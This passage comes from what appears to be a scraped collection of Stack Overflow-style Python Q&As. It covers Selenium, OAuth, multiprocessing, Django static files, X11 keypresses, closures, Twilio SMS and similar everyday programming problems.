subset thereof). First you can have the numbers in any order, thats `6! = 720`
combinations. You will always need `n-1 == 5` operators and they can be any
one of the 4 operators. So that's `4**5 == 1024` permutations. Finally those 5
operators can be in any one of 5 positions (after first pair of numbers, after
first 3, after 4 and so on). You can have maximum 1 operator in the first
position, two in the second and so on. That's `5! == 120` permutations. So in
total you have `720*1024*120 == 88473600` permutations. Thats roughly `9 *
10**7` Not beyond the realms of computation at all, but it might take 5
minutes or so to generate them all on a fairly quick computer.
You could significantly improve on this by "chopping" the search tree
1. Loads of the RPN combinations will be arithmetically identical (e.g. `123456+++++ == 12345+6++++ == 1234+5+6+++` etc) - you could use some prior knowledge to improve generate_RPN_combinations so it didn't generate them
2. identifying intermediate results that show certain combinations could never satisfy your criterion and not exploring any further combinations down that road.
You then have to send each string to the RPN calculator. These are fairly easy
to code and a typical programming exercise - you push values onto a stack and
when you come to operators, pop the top two members from the stack, apply the
operator and push the result onto the stack. If you don't want to implement
that - google `minimal python rpn calculator` and there are resources there to
help you.
Note, you say you don't have to use all 6 numbers. Rather than implementing
that separately, I would suggest checking any intermediate results when
evaluating the combinations for all 6 numbers, if they satisfy the criterion,
keep them too.
|
Firefox sees element where PhantomJS does not when using Selenium-Webdriver
Question: I have been looking around for quite a long time now to find a solution to my
problem, hope someone here can think of something that could help.
I have a working selenium script (in Python) working with the Firefox driver
to connect on a website. When using PhantomJS as driver, it doesn't work
anymore.
The form is generated by javascript and is on a https website. Here is the
code of the user input :
<script language="JavaScript1.2">
document.writeln("<input class=\"textform\" type=\"text\" id=\"user\" name=\"user\" size=\"" + size + "\" tabindex=1 onFocus=\"hadFocus(true)\">");
</script>
Here is the part of the script looking for it : (working on firefox but not
PhantomJS)
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
driver = webdriver.Firefox()
driver.get([MY URL])
print driver.page_source
driver.find_element_by_id("user").clear()
driver.find_element_by_id("user").send_keys([MY USER ID])
driver.find_element_by_id("pass").clear()
driver.find_element_by_id("pass").send_keys([MY PASS])
driver.find_element_by_name("login_btn").click()
html_source = driver.page_source
print html_source
driver.close()
And here is the error I get :
selenium.common.exceptions.NoSuchElementException
If I print the `page_source` just after reaching the page, Firefox shows the
right source code, where PhantomJS only has :
`<html><head></head><body></body></html>`
Do you think of anything that could be the cause of this ?
Answer: I have solved my problem thanks to Artjom B. answer :
Just change in the code :
driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true'])
It was due to the ssl certificate I guess.
|
Soundcloud python OAuth error
Question: This should be a fairly simple Python app which uses OAuth to authenticate
itself with the soundclodu API. It follows very closely the code for the
official library: <https://github.com/soundcloud/soundcloud-python>
When I load my app, I get sent to the soundcloud login page, which then re-
directs me to /user with the code query string.
However, it fails at the part where I attempt to obtain the access
token,etc...
This is the error I get:
File "/Users/asselinpaul/Dropbox/UPENN/SPRING15/CIS192/final_project/server.py", line 19, in user
code = request.args.get('code'))
TypeError: 'Resource' object is not iterable
I'm pretty sure this just means that client.exchange_token is returning a 401
error (this is what happens when I try to print client.exchange_token(code =
request.args.get('code')).
Code:
import soundcloud
from flask import Flask, redirect, request
app = Flask(__name__)
client = soundcloud.Client(
client_id="*****************************",
client_secret="*****************************",
redirect_uri='http://127.0.0.1:5000/user'
)
@app.route('/')
def hello_world():
return redirect(client.authorize_url())
@app.route('/user')
def user():
access_token, expires, scope, refresh_token = client.exchange_token(
code = request.args.get('code'))
return ("Hi There, %s" % client.get('/me').username)
if __name__ == '__main__':
app.run(debug=True)
Answer: I have a similar application (exactly the same, basically) and when I run it I
get an error that says:
AttributeError: 'module' object has no attribute 'args'
As far as I can tell, because request.py in the soundcloud module uses urllib
this is probably an issue with python 2.x versus python 3.x. I am using python
3 which I don't think can use urllib. I'd love to have a better answer or a
real solution, but this is just what I've gathered.
|
Iterating two files at same time, and compare words with strings PYTHON
Question: I'm trying to print whenever a word appears on a string, but actually it
doesn't print anything.My text files are:
words={'apple', 'banana', 'pie'}
strings={'Hello World!', 'I love pie', 'Ate an apple'}
`with open("words.txt") as words_file: with open("strings.txt") as
strings_file: all_strings = list(map(str.strip,strings_file)) for a_string in
all_strings: for word in words_file: if word in a_string: print a_string`
and the output would be like
Ate an apple
I love pie
Answer:
from itertools import izip
with open("file1.txt") as f1:
with open("file2.txt") as f2:
for f1_line,f2_line in izip(f1,f2): #this will return the same lines from both files
do_something(f1_line,f2_line)
the reason you saw the same thing over and over was that you
for line2 in file2:
print line1.split() # line 1 will not change until you go through every line in file2
[edit] as mentioned in the comments if you are using python2.7+ you can
combine the file opening into one line
with open("file1.txt") as f1, open("file2.txt") as f2:
for f1_line,f2_line in izip(f1,f2): #this will return the same lines from both files
do_something(f1_line,f2_line)
the code below may do what you are hoping for ...
from itertools import izip
with open("words.txt") as words_file:
with open("strings.txt") as strings_file:
all_strings = list(map(str.strip,strings_file))
for word in words_file:
for a_string in all_strings:
if word in a_string:
print a_string
|
Python 3: Multiprocessing API calls with exit condition
Question: I'm trying to write an application which works through a list of database
entries, making an API call with those, return the value and if one value of
the APIs JSON response is `True` for 5 calls, I want to have the list of those
5 calls. As the database entries are a couple of thousand entries, I want to
realise this with `multiprocessing`. But I'm a beginner with parallelisation
and it seems I can't get the grasp of how it works and how to set the exit
condition. Here's what I got:
from multiprocessing.dummy import Pool
import requests
def get_api_response(apikey, result, subscription_id):
r = requests.get("https://api.example.com/" + subscription_id)
if r.json()['subscribed'] == True:
result.append(r.json())
return result
def pass_args(args):
foo = get_api_response(*args)
if foo:
return foo
def check_response_amount(result):
if len(result) >= 5:
pool.terminate()
# One entry looks like that: {"id": 1, "name": "smith", "subscription_id": 123}
db_entries = get_db_entries()
apikey = 'abcd1234'
result = []
request_tuples = [(apikey, result, entry['subscription_id']) for entry in db_entries]
pool = Pool(5)
pool_result = pool.map_async(pass_args, request_tuples, callback=check_response_amount)
pool_result.wait()
pool.close()
pool.join()
The application checks every database entry and returns every api response
which has `subscribed == True` without even running through the callback. I
tried applying the answer from another question ([Python Multiprocessing help
exit on condition](http://stackoverflow.com/questions/21490137/python-
multiprocessing-help-exit-on-condition)), but couldn't get it to work. Can
somebody help me?
Answer: When you use `map_async`, the callback won't be executed until every work item
in the iterable has completed. If you want the callback to execute for every
item in `request_tuples`, rather than only after all of them are done, you
need to use `apply_async` inside a for loop instead:
results = []
for item in request_tuples:
results.append(pool.apply_async(get_api_response, args=item, callback=check_response_amount))
for result in results:
result.wait()
Additionally, calling `pool.terminate` isn't going to work the way you want;
the items you've already submitted to the pool are going to hang forever once
you call it, which will make your script hang, since you're waiting on them to
finish before exiting. You can work around this by just waiting on the pool to
join, rather than actually waiting on any individual task to finish.
import time
from multiprocessing.dummy import Pool
from multiprocessing.pool import TERMINATE
def get_api_response(apikey, result, subscription_id):
url = ("https://api.example.com/" + str(subscription_id))
time.sleep(2)
result.append(url)
return result
def pass_args(args):
foo = get_api_response(*args)
if foo:
return foo
def check_response_amount(result):
if result and len(result) >= 5:
print("DONE %s" % result)
pool.terminate()
def get_db_entries():
return [{'subscription_id' : i} for i in range(100)]
# One entry looks like that: {"id": 1, "name": "smith", "subscription_id": 123}
db_entries = get_db_entries()
apikey = 'abcd1234'
result = []
request_tuples = [(apikey, result, entry['subscription_id']) for entry in db_entries]
pool = Pool(2)
results = []
for item in request_tuples:
results.append(pool.apply_async(get_api_response, item, callback=check_response_amount))
pool.close()
pool.join()
print("done")
Output:
IN HERE
IN HERE
IN HERE
IN HERE
IN HERE
... (a bunch more of this)...
IN HERE
IN HERE
DONE ['https://api.example.com/1', 'https://api.example.com/0', 'https://api.example.com/2', 'https://api.example.com/3', 'https://api.example.com/4', 'https://api.example.com/5']
done
Note that the `result` list can end up being a little bigger than you want,
since the `terminate` call won't actually stop in-progress tasks.
|
ReCreating threads in python
Question: I'm using the following template to recreate threads that I need to run into
infinity. I want to know if this template is scalable in terms of memory. Are
threaded destroyed properly?
import threading
import time
class aLazyThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
time.sleep(10)
print "I don not want to work :("
class aWorkerThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
time.sleep(1)
print "I want to work!!!!!!!"
threadA = aLazyThread()
threadA.start()
threadB = aWorkerThread()
threadB.start()
while True:
if not (threadA.isAlive()):
threadA = aLazyThread()
threadA.start()
if not (threadB.isAlive()):
threadB = aWorkerThread()
threadB.start()
The thing that bother me is the following picture taking in eclipse which show
debug info, and It seems that thread are stacking it.
Answer: 1) I see nothing wrong with the image. There's the main thread and the 2
threads that you created (according to the code 3 threads are supposed to be
running at any time).
2) Like any other python objects, threads are garbage collected when they're
not used; e.g. in your main while cycle, when you instantiate the class (let's
say aLazyThread), the old threadA value is destroyed (maybe not exactly at
that point, but shortly after).
3) The main while cycle, could also use a sleep - e.g. time.sleep(1) - ,
otherwise it will consume the processor, uselessly checking if the other
threads are running.
|
Django cannot find contents of static/
Question: I'm trying to deploy an application to Heroku, but it cannot find my JS/CSS
files.
Here's my settings.py
# settings.py
"""
Django settings for the MyApp project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = SUPER SECRET
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
TEMPLATE_DEBUG = DEBUG
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'debug_toolbar',
'rest_framework',
'compressor',
'authentication',
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
)
ROOT_URLCONF = 'MyApp.urls'
WSGI_APPLICATION = 'MyApp.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.7/ref/settings/#databases
import dj_database_url
DATABASES = {
'default': dj_database_url.config(
default='sqlite:///' + os.path.join(BASE_DIR, 'db.sqlite3')
)
}
# Internationalization
# https://docs.djangoproject.com/en/1.7/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = 'staticfiles'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'dist/static'),
os.path.join(BASE_DIR, 'static'),
)
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
'compressor.finders.CompressorFinder',
)
COMPRESS_ENABLED = True
TEMPLATE_DIRS = (
os.path.join(BASE_DIR, 'templates'),
)
REST_FRAMEWORK = {
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework.authentication.SessionAuthentication',
)
}
# Honor the 'X-Forwarded-Proto' header for request.is_secure()
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
# Allow all host headers
ALLOWED_HOSTS = ['*']
AUTH_USER_MODEL = 'authentication.Account'
if not DEBUG:
# Parse database configuration from $DATABASE_URL
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Simplified static file serving.
# https://warehouse.python.org/project/whitenoise/
STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'
# Honor the 'X-Forwarded-Proto' header for request.is_secure()
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
Here's the file containing CSS that I want to serve:
# /static/templates/stylesheets.html
{% load compress %}
{% load static %}
{% compress css %}
<link rel="stylesheet" type="text/css" href="{% static "bower_components/bootstrap/dist/css/bootstrap.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "bower_components/bootstrap-material-design/dist/css/material.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "bower_components/bootstrap-material-design/dist/css/ripples.min.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "bower_components/ngDialog/css/ngDialog.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "bower_components/ngDialog/css/ngDialog-theme-default.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "lib/snackbarjs/snackbar.min.css" %}" />
<link rel="stylesheet" type="text/css" href="{% static "stylesheets/styles.css" %}" />
{% endcompress %}
Is there something super wrong with my `settings.py`?
`/static/` exists in the root of my directory and does contain all of the
files in the HTML file.
If more information is needed, please let me know.
Answer: Django won't serve static files when `debug` is `False`, because the view is
inefficient and potentially insecure, therefore you have to config your
webserver. See "Deploying static files" in Django manual.
|
How can I use python xlib to generate a single keypress?
Question: I want to make a very simple python 3 script that will generate a single
keypress (F15). I don't want to use a bunch of libraries to do this as I only
need one key to be pressed and don't need support for the whole keyboard. I
know I need to use KeyPress and KeyRelease in order to generate a keyboard
event. I'm just not sure where exactly to start and the documentation is a
little confusing.
<http://tronche.com/gui/x/xlib/events/keyboard-pointer/keyboard-pointer.html>
<http://python-xlib.sourceforge.net/?page=documentation>
Answer: I'll use [`ctypes`](https://docs.python.org/2/library/ctypes.html) to show you
how it could work, but porting it to [`python-xlib`](http://python-
xlib.sourceforge.net/) should be straightforward. So lets start with loading
the library:
import ctypes
X11 = ctypes.CDLL("libX11.so")
and defining the structures needed:
class Display(ctypes.Structure):
""" opaque struct """
class XKeyEvent(ctypes.Structure):
_fields_ = [
('type', ctypes.c_int),
('serial', ctypes.c_ulong),
('send_event', ctypes.c_int),
('display', ctypes.POINTER(Display)),
('window', ctypes.c_ulong),
('root', ctypes.c_ulong),
('subwindow', ctypes.c_ulong),
('time', ctypes.c_ulong),
('x', ctypes.c_int),
('y', ctypes.c_int),
('x_root', ctypes.c_int),
('y_root', ctypes.c_int),
('state', ctypes.c_uint),
('keycode', ctypes.c_uint),
('same_screen', ctypes.c_int),
]
class XEvent(ctypes.Union):
_fields_ = [
('type', ctypes.c_int),
('xkey', XKeyEvent),
('pad', ctypes.c_long*24),
]
X11.XOpenDisplay.restype = ctypes.POINTER(Display)
Now we just need to send the event to the root window:
display = X11.XOpenDisplay(None)
key = XEvent(type=2).xkey #KeyPress
key.keycode = X11.XKeysymToKeycode(display, 0xffcc) #F15
key.window = key.root = X11.XDefaultRootWindow(display)
X11.XSendEvent(display, key.window, True, 1, ctypes.byref(key))
X11.XCloseDisplay(display)
This minimal example worked well for me (just using `F2` instead). The same
can be done to send a `KeyRelease` event. If a special window is to be
targeted, `key.window` should be set appropriately.
I'm not sure, if it's necessary to use the `XEvent` union, since it'd worked
with the `XKeyEvent` all alone for me, but it's better to be safe.
|
extract contact information from html with python
Question: Here is a sample html
<div class="yui3-u-5-6" id="browse-products">
<div id="kazbah-contact">
<span class="contact-info-title">Contact 00Nothing:</span>
<a href="mailto:[email protected]">[email protected]</a> | 800-410-2074
| C/O Score X Score
8118-D Statesville Rd
,
Charlotte,
NC
28269
</div>
<div class="clearfix"></div>
I want to extract the contact information here, email, phone, and address. How
should I do that with python? Thanks
Answer: I use this code to extract information
# _*_ coding:utf-8 _*_
import urllib2
import urllib
import re
from bs4 import BeautifulSoup
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
def grabHref(url,localfile):
html = urllib2.urlopen(url).read()
html = unicode(html,'gb2312','ignore').encode('utf-8','ignore')
soup = BeautifulSoup(html)
myfile = open(localfile,'wb')
for link in soup.select("div > a[href^=http://www.karmaloop.com/kazbah/browse]"):
for item in BeautifulSoup(urllib2.urlopen(link['href']).read()).select("div > a[href^=mailto]"):
contactInfo = item.get_text()
print link['href']
print contactInfo
myfile.write(link['href'])
myfile.write('\r\n')
myfile.write(contactInfo)
myfile.write('\r\n')
myfile.close()
def main():
url = "http://www.karmaloop.com/brands"
localfile = 'Contact.txt'
grabHref(url,localfile)
if __name__=="__main__":
main()
But I still can only get email address here, how can I get phone number and
address? Thanks
|
How to use Pygments in Pelican with Markdown?
Question: TLDR: I am trying to do CSS line numbering in pelican, while writing in
markdown. Pygments is used indirectly and you can't pass options to it, so I
can't separate the lines and there is no CSS selector for "new line".
Using Markdown in Pelican, I can generate code blocks using the CodeHilite
extension. Pelican doesn't support using pygments directly if you are using
Markdown...only RST(and ... no to converting everything to RST).
So, what I have tried:
MD_EXTENSIONS = [
'codehilite(css_class=highlight,linenums=False,guess_lang=True,use_pygments=True)',
'extra']
And:
:::python
<div class="line">import __main__ as main</div>
And:
PYGMENTS_RST_OPTIONS = {'classprefix': 'pgcss', 'linenos': 'table'}
Can I get line numbers to show up? Yes. Can I get them to continue to the next
code block? No. And that is why I want to use CSS line numbering...its way
easier to control when the numbering starts and stops.
Any help would be greatly appreciated, I've been messing with this for a few
hours.
Answer: The only way I'm aware of is to fork the CodeHilite Extension (and I'm the
developer). First you will need to make a copy of the existing extension (this
[file](https://github.com/waylan/Python-
Markdown/blob/master/markdown/extensions/codehilite.py)), make changes to the
code necessary to effect your desired result, and save the file to your
PYTHONPATH (probably in the "sitepackages" directory, the exact location of
which depends on which system you are on and how Python was installed). Note
that you will want to create a unique name for your file so as not to conflict
with any other Python packages.
Once you have done that, you need to tell Pelican about it. As Pelican's
config file is just Python, import your new extension (use the name of your
file without the file extension: `yourmodule.py` => `yourmodule`) and include
it in the list of extensions.
from yourmodule import CodeHiliteExtension
MD_EXTENSIONS = [
CodeHiliteExtension(css_class='highlight', linenums=False),
'extra']
Note that the call to `CodeHiliteExtension` is not a string but actually
calling the class and passing in the appropriate arguments, which you can
adjust as appropriate.
And that should be it. If you would like to set up a easier way to deploy your
extension (or distribute it for others to use), you might want to consider
creating a `setup.py` file, which is beyond the scope of this question. See
this [tutorial](https://github.com/waylan/Python-
Markdown/wiki/Tutorial:-Writing-Extensions-for-Python-Markdown) for help
specific to Markdown extensions.
If you would like specific help with the changes you need to make to the code
within the extension, that depends on what you want to accomplish. To get
started, the arguments are passing to Pygments on line 117. The simplest
approach would be to hardcode your desired options there.
* * *
Be ware that if you are trying to replicate the behavior in reStructuredText,
you will likely be disappointed. Docutils wraps Pygments with some of its own
processing. In fact, a few of the options never get passed to Pygments but are
handled by the reStructeredText parser itself. If I recall correctly, CSS line
numbering is one such feature. In fact, Pygments does not offer that as an
option.
That being the case, you would need to modify your fork of the CodeHilite
Extension by having Pygments return non-numbered code, then applying the
necessary hooks yourself before the extension returns the highlighted code
block. To do so, you would likely need to split on line breaks and then loop
through the lines wrapping each line appropriately. Finally, join the newly
wrapped lines and return.
* * *
I suspect the following (untested) changes will get you started:
diff --git a/markdown/extensions/codehilite.py b/markdown/extensions/codehilite.py
index 0657c37..fbd127d 100644
--- a/markdown/extensions/codehilite.py
+++ b/markdown/extensions/codehilite.py
@@ -115,12 +115,18 @@ class CodeHilite(object):
except ValueError:
lexer = get_lexer_by_name('text')
formatter = get_formatter_by_name('html',
- linenos=self.linenums,
+ linenos=self.linenums if self.linenumes != 'css' else False,
cssclass=self.css_class,
style=self.style,
noclasses=self.noclasses,
hl_lines=self.hl_lines)
- return highlight(self.src, lexer, formatter)
+ result = highlight(self.src, lexer, formatter)
+ if self.linenums == 'css':
+ lines = result.split('\n')
+ for i, line in enumerate(lines):
+ lines[i] = '<div class="line">%s</div>' % line
+ result = '\n'.join(lines)
+ return result
else:
# just escape and build markup usable by JS highlighting libs
txt = self.src.replace('&', '&')
* * *
You may have better success in attaining what you want by disabling Pygments
and using a JavaScript library to do the highlighting. That depends on which
JavaScript Library you choose and what features it has.
|
Conditionally replacing items in nested list based on values in dictionary
Question: Right now I have this nested list and dictionary:
phrases = [['Lionhearted', 'Baby Preach'], ['Lionhearted Baby', 'Preach'], ['Lionhearted', 'Baby', 'Preach']]
artist_info = {u'Baby': u'Baby by Justin Bieber', u'Lionhearted': u'Lionhearted by Porter Robinson', u'Preach': u'Preach by Drake', u'Baby Preach': u:'Baby Preach by some pop singer'}
Basically, what I would like to do is try to replace the values in phrases
with the values from artist_info if there is a match, other wise I would like
to omit that particular nested list. So since there is a dictionary entry for
`'Lionhearted'`, `'Baby'`, 'baby preach' and `'Preach'`, the output would read
something like this:
phrases2 = [['Lionhearted by Porter Robinson','Baby Preach by some pop singer'] ['Lionhearted by Porter Robinson', 'Baby by Justin Bieber', 'Preach by Drake']]
Is there a way to do this? I've been at this for hours. It's important that
the three phrases result in the order of "Lionhearted Baby Preach". I'm a bit
of a Python noob, and I haven't been able to find a comparable example.
Answer: Is this what you are looking for? From your example it looks like you want to
omit the sublist within `phrases` if any item of that sublist is not present
in the dictionary `artist_info`. The code below does that before doing the
replacements you mentioned.
phrases = [['Lionhearted', 'Baby Preach'], ['Lionhearted Baby', 'Preach'], ['Lionhearted', 'Baby', 'Preach']]
artist_info = {u'Baby': u'Baby by Justin Bieber', u'Lionhearted': u'Lionhearted by Porter Robinson', u'Preach': u'Preach by Drake', u'Baby Preach': u'Baby Preach by some pop singer'}
lst = filter(lambda x: all(y in artist_info for y in x), phrases)
phrases2 = map(lambda x: [artist_info[y] for y in x], lst)
print phrases2
|
UnboundLocalError: local variable referenced before assignment in python closure
Question: I implemented two simple closures in Python. To me, they looks the same, but
one works and the other doesn't.
The working one is:
def makeInc(x, y):
def inc():
return y + x
return inc
inc5 = makeInc(5, 10)
inc10 = makeInc(10, 5)
inc5 () # returns 15
inc10() # returns 15
But the second one doesn't work:
import os
def linker(dest, filename):
print filename
def link():
if os.path.isfile(filename): # line 17
filename = os.path.join(os.getcwd(), filename)
dest = os.path.join(dest, filename)
y = rawinput('[y]/n: ln -sf %s %s' % (dest, filename))
if y == 'n':
return 1
else:
return os.system('ln -sf %s %s' %(dest, filename))
else:
return -1
return link
l = linker('~', '.vimrc')
l() # line 30
It faults at the first line of `link()` when executing `l()`:
Traceback (most recent call last):
File "test.py", line 30, in <module>
l()
File "test.py", line 17, in link
if os.path.isfile(filename):
UnboundLocalError: local variable 'filename' referenced before assignment
They seem identical to me so I don't understand why the second one doesn't
work. Any idea?
Answer: You have overwritten the variable with `filename = os.path.join(os.getcwd(),
filename)`, if you change the `filename =` to something other than `filename`
you won't get a `local variable 'filename' referenced before assignment`
error.
Once you set `filename =` you are no longer referring to the parameter
`filename` that is passed in you are referring to the local `filename` in the
scope of the inner function which you try to use in the if **before** you have
it defined.
You will have the same problem with dest, if you change the two lines and the
other variables to something like:
filename_ = os.path.join(os.getcwd(), filename)
dest_ = os.path.join(dest, filename)
You will see the code runs fine as filename now refers to the parameter not to
a local variable defined in your inner function.
You will see the exact same behaviour if you try to reassign `x` in your first
function and try to access `x` before you have defined it:
def makeInc(x, y):
def inc():
print y + x # will cause referenced before assignment error
x = 5 # now x is local to the inner func, the x from the outer function is overridden
return y + x
return inc
If you print the `__closure__` attribute you will see what happens:
def makeInc(x, y):
def inc():
return y + x
return inc
inc5 = makeInc(5, 10)
inc10 = makeInc(10, 5)
print(inc5.__closure__)
(<cell at 0x7f180df67e50: int object at 0xef00f8>, <cell at 0x7f180df67fa0: int object at 0xef0080>)
Now reassigning x:
def makeInc(x, y):
def inc():
print y + x
x= 5
return y + x
return inc
inc5 = makeInc(5, 10)
inc10 = makeInc(10, 5)
print(inc5.__closure__)
(<cell at 0x7fea11889fd8: int object at 0x291e080>,)
After reassigning in the inner function, there is no longer a reference to
`x`.
So basically the fundamental difference between your two original functions is
that in one you are reassigning the variable in the local scope and in the
other you are not. As you can see from the code above if you do something
similar in the first function the outcome is exactly the same.
There is a nice tut
[here](http://nbviewer.ipython.org/github/rasbt/python_reference/blob/master/tutorials/scope_resolution_legb_rule.ipynb#section_1)
on scopes LEGB etc..
|
Keeping progress of the letters guessed in hang man python
Question:
Graphics=['''
------------
| |''','''
------------
| |
| O''','''
------------
| |
| O
| / ''','''
------------
| |
| O
| / |''','''
------------
| |
| O
| / |
| | ''','''
------------
| |
| O
| / |
| |
| /
|
| ''','''
------------
| |
| O
| / |
| |
| / |
|
| ''']
import random
class Hangman():
def Playing(self):
listOfWords = ["example", "says", "python", "rocks"]
again = True
while again:
guessWord = random.choice(listOfWords)
board = "*" * len(guessWord)
alreadySaid = set()
mistakes = 7
print(" ".join(board))
guessed = False
# These are the guesses I want to keep track of
while not guessed and mistakes > 0:
whatplayersaid = input("Guess a letter: ")
if whatplayersaid in guessWord:
alreadySaid.add(whatplayersaid)
board = "".join([char if char in alreadySaid else "_" for char in guessWord])
if board == guessWord:
guessed = True
else:
mistakes -= 1
print("Nope.", mistakes, "mistakes left.")
print("Letters Guessed:",guessed)
# This is where my mistake is.
print(Graphics[6-mistakes])
print(" ".join(board))
again = (input("Again [y/n]: ").lower() == 'y')
Hangman().Playing()
> I want to keep progress of the guessed letters, and print them every guess.
> How do I do that?, what I have now returns only the last incorrect guess
Answer: What you need to do is not print the `print(Graph)` This prints the location
of the Graph array. You need to print something like:
print(Graph[7-mistakes])
|
Removal of duplicate lines from a text file using python
Question: Earlier I wrote the code for extracting a specific string from multiple files
and the result is stored in a separate file.Now this file has duplicate
results which I need to remove .
import glob
import re
import os.path
path=r"H:\sample"
file_array=glob.glob(os.path.join(path,'*.txt'))
with open("aiq_hits.txt","w") as out_file;
for input_filename in file_array:
with open(input_filename) as in_file:
for line in in_file:
match=re.findall(r"""(?<=')[^']*\.aiq(?=')|(?<=")[^"]*\.aiq(?=")""")
for item in match:
out_file.write("%s\n" %item)
out_file.close()
This out_file has duplicate results which I need to remove and result should
be the same file
Answer: 1. **Load** input file.
2. **Read** input file by lines. The `readlines` will return a list of lines from the file content.
3. Create a new list.
4. **Iterate** every line from the `lines`.
5. **Strip** the white spaces from the `line`.
6. **Check** if the line is present in `new_lines`.
7. If not, then **append** the `line` in the `new_lines` list.
8. **Write** `new_lines` into the file.
Demo:
input_file = "input.txt"
with open(input_file, "rb") as fp:
lines = fp.readlines()
new_lines = []
for line in lines:
#- Strip white spaces
line = line.strip()
if line not in new_lines:
new_lines.append(line)
output_file = "output.txt"
with open(output_file, "wb") as fp:
fp.write("\n".join(new_lines))
|
Sending Multiple SMS Messages in Twilio Reply
Question: I am writing software using the Twilio API, Flask, and Python to send and
receive SMS messages. When I reply to a message, I also want to send out a
message to a different phone number (thereby sending 2 messages in total, one
to the original sender, and one to an entirely different individual).
I reply to an SMS using:
@app.route("/", methods=['GET', 'POST'])
def reply():
# Send other text
sendMessage(to_number, text)
# Send response
resp = twilio.twiml.Response()
resp.sms(response)
return str(resp)
Where the `sendMessage` function is:
from twilio.rest import TwilioRestClient
def sendMessage(to_number, text):
ACCOUNT_SID = "XXXXXXXXX"
AUTH_TOKEN = "XXXXXXXX"
twilioNumber = "XXXXXXXXX"
client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
client.messages.create(
to=to_number,
from_=twilioNumber,
body=text,
)
But the `sendMessage` function does not actually send a text to the separate
number (note the reply still works). Note also that the `sendMessage`function
works fine when it is called outside of the reply function.
How should I go about sending two different texts to two different numbers in
response to a text from only one of those numbers?
Answer: This worked for me to send the same message to multiple numbers:
from twilio.rest import TwilioRestClient
def sendMessage(text):
ACCOUNT_SID = "ACXXXXXXXX"
AUTH_TOKEN = "YYYYYYYYYY"
twilioNumber = "+15551235554"
client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
NUMBERS = {
'Foo':'+15551235555',
'Bar':'+15551235556'
}
for name, number in NUMBERS.items():
message = client.messages.create(
to=number,
from_=twilioNumber,
body=text)
print message.sid
Maybe you can find a way to adapt this to your specific needs. Note that
Twilio limits your outbound SMS to 1 SMS message segment per-second, per-
number. [More info on Rate-Limits](https://www.twilio.com/help/faq/twilio-
basics/what-are-the-limits-on-outbound-calls-and-sms-messages-per-second)
|
import list to excel
Question: I want to import the python list to excel. My example code is:
import win32com.client as win32
excel = win32.gencache.EnsureDispatch('Excel.Application')
excel.Visible = 1
wb = excel.Workbooks.Add()
ws = wb.Worksheets("Sheet1")
list1 =("a","b","c","c","c","c","c","c","c","c")
ws.Range("B1:B10").Value = list1
How I have to change the list1 type to use the code ws.Range("B1:B10").Value =
list1? What kind of list can use in excel file?
Answer: It looks like this [post](http://stackoverflow.com/questions/5014261/python-
excel-writing-to-multiple-cells-takes-time) may do what you need by wrapping
your range statement in a function like:
def writeLinesToExcel(ws,lines):
ws.Range("A1:"+chr(len(lines)+96).upper()+str(len(lines[0]))).Value=lines
Then you can call `writeLineToExcel(ws,list1)`. You can also use things like
[["a"],["b"]] apparently... Based on your question, I'm not sure this appears
to be working for you. If your data is simple enough, you could just use a
loop,
def writeRowsToExcel(ws,col,rows):
for i,l in enumerate(rows):
ws.Cells(col,i)= l
then call `writeRowsToExcel(ws, col, rows)`. Other
[posts](http://stackoverflow.com/questions/21478946/writing-array-to-excel-in-
python-with-win32com) suggest this will be slow and to use other libraries
like `xlwt`.
|
why does this python regex return no match?
Question:
>>> match = re.search(r'\d', 'ca\d')
>>> type(match)
<type 'NoneType'>
From my understanding 'r' means don't do any special processing with
blackslashes and just return the raw string.
Also, why do i get the output below:
>>> match = re.search(r'\a', 'ca\a')
>>> match.group()
'\x07'
